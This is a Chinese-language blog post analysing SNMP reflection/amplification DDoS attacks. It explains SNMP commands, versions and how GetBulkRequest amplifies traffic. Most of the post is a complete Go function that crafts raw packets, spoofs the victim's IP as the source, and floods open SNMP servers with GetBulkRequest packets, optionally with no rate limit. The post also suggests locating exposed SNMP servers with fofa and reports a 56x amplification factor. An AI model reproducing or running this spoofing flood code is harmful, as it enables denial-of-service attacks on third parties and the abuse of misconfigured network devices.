SNMP 反射放大攻击分析

99 阅读4分钟

简介

SNMP 是一种用于管理网络设备的协议,它允许管理员监控和配置网络设备。SNMP 反射放大攻击利用了 SNMP 协议的特性,通过伪造源 IP 地址向大量的 SNMP 代理(如路由器、交换机等)发送请求,然后这些代理会将响应发送给伪造的源 IP 地址,从而达到攻击目标的效果。

原理

SNMP 反射放大攻击的核心在于利用 SNMP 协议的 GetBulkRequest 命令。该命令允许一次性获取大量数据,攻击者可以利用这一点,发送一个小的请求,但接收到大量的响应,从而实现流量放大。

snmp常用命令

  • snmpget
    • 通过get-request获取oid实例对象数据
  • snmpwalk
    • 通过get-next-request循环获取oid树中实例对象值
  • snmpbulkget
    • 通过GetBulkRequst一次性批量获取oid树中实例对象数据
  • snmpbulkwalk
    • 通过GetBulkRequst一次性批量获取oid实例对象数据
    • 作用和用法与snmpwalk类似,但效率更高

SNMP的版本

SNMP有三个主要版本:

  1. SNMPv1:最初版本,提供基本的网络管理功能,但安全性较差。
  2. SNMPv2:增强了SNMPv1的功能,增加了更多的操作类型和数据类型,提供了更丰富的错误代码。
  3. SNMPv3:主要在安全性方面进行了增强,采用了基于用户的安全控制模型(USM)和基于视图的访问控制模型(VACM),提供了认证和加密功能

攻击流程:

  1. 攻击者伪造源 IP 地址: 攻击者将源 IP 地址伪造成受害者的 IP 地址。
  2. 发送 GetBulkRequest 请求: 攻击者向大量的 SNMP 代理发送 GetBulkRequest 请求,请求大量的数据。
  3. SNMP 代理响应: SNMP 代理接收到请求后,将大量的数据响应发送给伪造的源 IP 地址(即受害者)。
  4. 流量放大: 由于响应数据远大于请求数据,因此实现了流量放大,对受害者造成 DDoS 攻击。

golang请求

  • 自构报文才能伪造源IP,即不能直接使用gosnmp库进行请求
  • 版本为v2c,团体用public,用常见的去利用开放的SNMP服务器
  • 注意请求报文SNMP负载需要ASN.1编码
// SendSnmpReflectAttack 发送snmp 反射攻击
func SendSnmpReflectAttack(Cfg *cfg.Config) {
	snmpOid := Cfg.Snmp.Oid
	snmpCommunity := Cfg.Snmp.Community
	snmpIntf := Cfg.Base.Interface
	snmpCount := Cfg.Base.Count
	snmpRate := Cfg.Base.Rate
	snmpFlood := Cfg.Base.Flood
	snmpTarget := Cfg.Base.Target
	snmpRdst := Cfg.Snmp.ReflectTarget
	if snmpFlood {
		fmt.Println("snmpInterface:", snmpIntf, "snmpTarget:", snmpRdst, " snmpFlood:", snmpFlood, "snmpCount:", snmpCount, "snmpServer:", snmpTarget)
	} else {
		fmt.Println("snmpInterface:", snmpIntf, "snmpTarget:", snmpRdst, " snmpRate:", snmpRate, " snmpCount:", snmpCount, "snmpServer:", snmpTarget)
	}
	dataSize := Cfg.Base.DataSize
	dataFile := Cfg.Base.DataFile
	ipType := IpVersionTypeGet(Cfg.Base.Target)

	// 打开网络设备
	handle, err := pcap.OpenLive(snmpIntf, 2048, false, 5*time.Second)
	if err != nil {
		fmt.Println("interface:", snmpIntf, " open pcap failed,err:", err)
		return
	}
	defer handle.Close()

	// 速率控制
	ticker := time.NewTicker(time.Second / time.Duration(snmpRate))
	defer ticker.Stop()

	// 以太层/IP层
	var ipv4 *layers.IPv4
	var ipv6 *layers.IPv6
	eth := GetEthLayer(Cfg)
	if ipType == IP_ADDR_IPV4 {
		ipv4 = GetIpv4Layer(Cfg)
		ipv4.Protocol = layers.IPProtocolUDP
	} else {
		ipv6 = GetIpv6Layer(Cfg)
		ipv6.NextHeader = layers.IPProtocolUDP
	}

	for i := uint64(0); i < snmpCount || snmpCount == 0; i++ {
		// 等待下一个发包时间点
		if !snmpFlood {
			<-ticker.C
		}

		// 构建UDP包
		var srcPort, dstPort uint16
		srcPort = uint16(rand.Intn(65535))
		dstPort = 161
		udp := &layers.UDP{
			SrcPort: layers.UDPPort(srcPort),
			DstPort: layers.UDPPort(dstPort),
		}
		// 构建SNMP请求包
		type SNMPMessage struct {
			Version   int
			Community []byte
			PDU       asn1.RawValue
		}
		type VariableBinding struct {
			ObjectIdentifier asn1.ObjectIdentifier
			Value            asn1.RawValue
		}
		version := 1 // SNMPv2c
		community := snmpCommunity
		requestID := 12345
		oids := make([]asn1.ObjectIdentifier, len(snmpOid))
		for i, str := range snmpOid {
			oid, err := stringToOID(str)
			if err != nil {
				fmt.Println("parse oid fail.", err)
				return
			}
			oids[i] = oid
		}

		// 构造变量绑定列表
		var varBindings []VariableBinding
		for _, oid := range oids {
			nullValue := asn1.RawValue{
				Tag:        0x05,
				Class:      asn1.ClassUniversal,
				IsCompound: false,
				Bytes:      []byte{},
			}
			varBindings = append(varBindings, VariableBinding{
				ObjectIdentifier: oid,
				Value:            nullValue,
			})
		}

		// 构造 BulkPDU 的字节流
		requestIDBytes, _ := asn1.Marshal(requestID)
		nonRepeatersBytes, _ := asn1.Marshal(0)
		maxRepetitionsBytes, _ := asn1.Marshal(255)
		varBindingsBytes, _ := asn1.Marshal(varBindings)

		pduBytes := append(requestIDBytes, nonRepeatersBytes...)
		pduBytes = append(pduBytes, maxRepetitionsBytes...)
		pduBytes = append(pduBytes, varBindingsBytes...)

		// 构造完整 SNMP 消息
		plen := len(pduBytes)
		plenByte := byte(plen)
		msg := SNMPMessage{
			Version:   version,
			Community: []byte(community),
			PDU: asn1.RawValue{
				FullBytes: append([]byte{0xA5}, plenByte), // 0xA5 是 GetBulkRequest 的标签
			},
		}
		msg.PDU.FullBytes = append(msg.PDU.FullBytes, pduBytes...)
		// 编码完整报文
		msgBytes, err := asn1.Marshal(msg)
		if err != nil {
			log.Fatal(err)
		}

		var snmp []byte = msgBytes
		var layerObs []gopacket.SerializableLayer
		layerObs = append(layerObs, eth)
		if ipType == IP_ADDR_IPV4 {
			layerObs = append(layerObs, ipv4)
			// 将目标IP伪造为源IP,向CHARGEN服务器发送请求
			ipv4.SrcIP = net.ParseIP(snmpRdst)
			ipv4.DstIP = net.ParseIP(snmpTarget)
			udp.SetNetworkLayerForChecksum(ipv4)
		} else {
			layerObs = append(layerObs, ipv6)
			ipv6.SrcIP = net.ParseIP(snmpRdst)
			ipv6.DstIP = net.ParseIP(snmpTarget)
			udp.SetNetworkLayerForChecksum(ipv6)
		}
		layerObs = append(layerObs, udp)
		// 添加负载
		payload := GetPayload(dataFile, dataSize)
		if len(payload) > 0 {
			layerObs = append(layerObs, gopacket.Payload(payload))
		} else {
			layerObs = append(layerObs, gopacket.Payload([]byte(snmp)))
		}

		// 序列化
		buf := gopacket.NewSerializeBuffer()
		opts := gopacket.SerializeOptions{
			ComputeChecksums: true,
			FixLengths:       true,
		}
		if err := gopacket.SerializeLayers(buf, opts, layerObs...); err != nil {
			fmt.Println("serialize layers failed,err:", err)
			continue
		}

		// 发送
		err = handle.WritePacketData(buf.Bytes())
		if err != nil {
			fmt.Println("send packet data failed,err:", err)
		}
	}
}

分析

  • 利用fofa等查询SNMP服务 image.png
  • SNMP getBulkRequest 请求报文

image.png

  • SNMP 反射放大响应报文

image.png

  • 放大倍数计算 响应UDP负载长度2469 / 请求UDP负载长度44 = 56 倍

参考